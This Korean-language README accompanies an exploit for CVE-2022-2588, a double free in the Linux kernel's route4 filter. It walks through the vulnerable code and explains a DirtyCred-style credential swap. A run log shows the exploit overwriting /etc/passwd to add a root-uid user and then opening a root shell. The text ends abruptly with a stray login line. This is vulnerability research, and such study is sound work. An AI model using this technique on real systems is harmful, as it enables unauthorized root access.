
CVE-2022-2588용 익스플로잇 코드
이 버그는 이 커밋으로 Linux v5.19에서 수정되었습니다.
이 버그는 2014년에 이 커밋으로 Linux v3.17에 도입되었습니다. 트리거하려면 User Namespaces가 필요합니다. 이 버그는 route4_filter의 연결 리스트에 대한 부적절한 조작으로 인해 발생한 CVE-2021-3715와 매우 유사합니다. CVE-2021-3715에 대한 자세한 내용은 BlackHat 발표 자료(16페이지)에서 확인할 수 있습니다. 다음은 CVE-2022-2588에 대한 간략한 세부 사항입니다.
다음은 CVE-2022-2588을 이해하기 위한 route4_change 함수의 중요한 코드 조각들을 보여줍니다.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
이 함수는 route4_filter 객체를 초기화/교체하기 위해 구현되었습니다. 필터는 각 필터를 구분하기 위해 handle을 고유 ID로 사용합니다. 이전에 초기화된 핸들이 존재하는 경우(즉, fold 변수가 null이 아닌 경우), 기존 필터를 제거하고 새 필터를 추가하여 필터를 업데이트합니다. 그렇지 않으면 새 필터를 추가하기만 합니다.
[0]에서 커널은 route4_filter 객체를 할당합니다. [1]에서 fold가 비어 있지 않다면, 이는 동일한 핸들을 가진 필터가 존재한다는 뜻이며, [2]에서 새 필터로 일부 정보를 복사하고 새 필터를 초기화한 다음, [3]에서 새 필터를 리스트에 삽입합니다. 기존 필터가 존재하면 [4]에서 리스트에서 제거되고 [6]에서 해제됩니다.
버그는 제거할 이전 필터가 존재하는지 확인하는 [4]에서 발생합니다. 이 조건은 핸들이 0이 아니어야 하고 새 필터의 핸들과 일치해야 함을 보장합니다. 이 조건은 기존 필터의 존재 여부만 확인하는 [6]의 필터 해제 조건과 일치하지 않습니다. 따라서 사용자가 핸들이 0인 필터를 생성한 후 교체를 트리거하면 필터는 [4]에서 연결이 해제되지 않지만 조건이 서로 다르기 때문에 [6]에서 해제됩니다.
이 버그는 CVE-2021-3715와 유사하므로 그들의 프리미티브는 거의 동일합니다. 프리미티브에 대한 더 자세한 설명은 BlackHat 발표 자료를 참조하십시오. 이 글은 DirtyCred의 아이디어를 사용한 익스플로잇을 보여줍니다.
버그를 트리거한 후 해제된 fold가 여전히 연결 리스트에 남아 있기 때문에 fold를 다시 한 번 해제할 수 있으며, 이로 인해 CONFIG_NET_CLS_ACT가 활성화된 경우 route4_filer 객체와 route4_filter->exts.action 객체가 이중 해제될 수 있습니다.
익스플로잇 코드는 이러한 두 가지 이중 해제 기능을 활용하여 태스크 자격 증명(kmalloc-192 이중 해제 활용, 곧 제공 예정) 및 열린 파일 자격 증명(kmalloc-256 이중 해제 활용)에 대한 공격을 시연합니다.
DirtyCred의 아이디어를 따라, 익스플로잇 코드는 권한 검사 후 파일 자격 증명을 교체하여 읽기 권한이 있는 파일에 임의의 내용을 쓸 수 있게 합니다. 이상적으로 이 코드는 이 버그의 영향을 받는 모든 커널 버전에서 작동할 수 있습니다. msg_msg가 kmalloc-rcl-*에 격리된 이전 커널에서도 코드가 작동하도록 하기 위해 익스플로잇은 다른 스프레이 객체를 사용한다는 점에 유의하십시오.
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
이 익스플로잇은 가능한 한 많은 배포판에서 작동하도록 작성되었습니다. 다음에서 작동하는 것이 확인되었습니다:
사용자 low와 비밀번호 low로 로그인하세요.